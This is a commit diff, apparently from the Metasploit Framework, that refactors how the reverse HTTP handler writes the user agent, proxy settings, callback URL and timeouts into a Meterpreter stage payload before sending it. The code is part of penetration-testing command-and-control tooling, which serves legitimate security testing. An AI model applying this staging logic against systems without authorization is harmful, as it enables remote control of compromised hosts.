Skip to content

Commit 1930eb1

Browse files
veritysrveritysr
committed
Refactors metsrv patching in reverse_http.rb
1 parent 52b3025 commit 1930eb1

File tree

2 files changed

+27
-85
lines changed

2 files changed

+27
-85
lines changed

‎lib/msf/core/handler/reverse_http.rb

Lines changed: 17 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
require 'rex/io/stream_abstraction'
33
require 'rex/sync/ref'
44
require 'msf/core/handler/reverse_http/uri_checksum'
5+
require 'rex/payloads/meterpreter/patch'
56

67
module Msf
78
module Handler
@@ -223,87 +224,28 @@ def on_request(cli, req, obj)
223224
})
224225

225226
when /^\/A?INITM?/
226-
227-
url = ''
227+
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
228+
url = payload_uri + conn_id + "/\x00"
228229

229230
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
230231
resp['Content-Type'] = 'application/octet-stream'
231232

232233
blob = obj.stage_payload
233234

234-
# Replace the user agent string with our option
235-
i = blob.index("METERPRETER_UA\x00")
236-
if i
237-
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
238-
blob[i, str.length] = str
239-
print_status("Patched user-agent at offset #{i}...")
240-
end
241-
242-
# Activate a custom proxy
243-
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
244-
if i
245-
if datastore['PROXYHOST']
246-
if datastore['PROXYHOST'].to_s != ""
247-
proxyhost = datastore['PROXYHOST'].to_s
248-
proxyport = datastore['PROXYPORT'].to_s || "8080"
249-
proxyinfo = proxyhost + ":" + proxyport
250-
if proxyport == "80"
251-
proxyinfo = proxyhost
252-
end
253-
if datastore['PROXY_TYPE'].to_s == 'HTTP'
254-
proxyinfo = 'http://' + proxyinfo
255-
else #socks
256-
proxyinfo = 'socks=' + proxyinfo
257-
end
258-
proxyinfo << "\x00"
259-
blob[i, proxyinfo.length] = proxyinfo
260-
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
261-
#Optional authentification
262-
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
263-
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
264-
datastore['PROXY_TYPE'] == 'SOCKS'
265-
266-
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
267-
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
268-
blob[proxy_username_loc, proxy_username.length] = proxy_username
269-
270-
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
271-
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
272-
blob[proxy_password_loc, proxy_password.length] = proxy_password
273-
end
274-
end
275-
end
276-
end
277-
278-
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
279-
i = blob.index("METERPRETER_TRANSPORT_SSL")
280-
if i
281-
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
282-
blob[i, str.length] = str
283-
end
284-
print_status("Patched transport at offset #{i}...")
285-
286-
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
287-
i = blob.index("https://" + ("X" * 256))
288-
if i
289-
url = payload_uri + conn_id + "/\x00"
290-
blob[i, url.length] = url
291-
end
292-
print_status("Patched URL at offset #{i}...")
293-
294-
i = blob.index([0xb64be661].pack("V"))
295-
if i
296-
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
297-
blob[i, str.length] = str
298-
end
299-
print_status("Patched Expiration Timeout at offset #{i}...")
300-
301-
i = blob.index([0xaf79257f].pack("V"))
302-
if i
303-
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
304-
blob[i, str.length] = str
305-
end
306-
print_status("Patched Communication Timeout at offset #{i}...")
235+
#
236+
# Patch options into the payload
237+
#
238+
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
239+
:ssl => ssl?,
240+
:url => url,
241+
:expiration => datastore['SessionExpirationTimeout'],
242+
:comm_timeout => datastore['SessionCommunicationTimeout'],
243+
:ua => datastore['MeterpreterUserAgent'],
244+
:proxyhost => datastore['PROXYHOST'],
245+
:proxyport => datastore['PROXYPORT'],
246+
:proxy_type => datastore['PROXY_TYPE'],
247+
:proxy_username => datastore['PROXY_USERNAME'],
248+
:proxy_password => datastore['PROXY_PASSWORD']
307249

308250
resp.body = encode_stage(blob)
309251

‎lib/rex/post/meterpreter/client_core.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -235,16 +235,16 @@ def migrate( pid )
235235
# Patch options into metsrv for reverse HTTP payloads
236236
#
237237
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
238-
:ssl => client.ssl,
239-
:url => self.client.url,
240-
:expiration => self.client.expiration,
241-
:comm_timeout => self.client.comm_timeout,
242-
:ua => client.exploit_datastore['MeterpreterUserAgent'],
243-
:proxyhost => client.exploit_datastore['PROXYHOST'],
244-
:proxyport => client.exploit_datastore['PROXYPORT'],
245-
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
246-
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
247-
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
238+
:ssl => client.ssl,
239+
:url => self.client.url,
240+
:expiration => self.client.expiration,
241+
:comm_timeout => self.client.comm_timeout,
242+
:ua => client.exploit_datastore['MeterpreterUserAgent'],
243+
:proxyhost => client.exploit_datastore['PROXYHOST'],
244+
:proxyport => client.exploit_datastore['PROXYPORT'],
245+
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
246+
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
247+
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
248248

249249
end
250250

0 commit comments

Comments
 (0)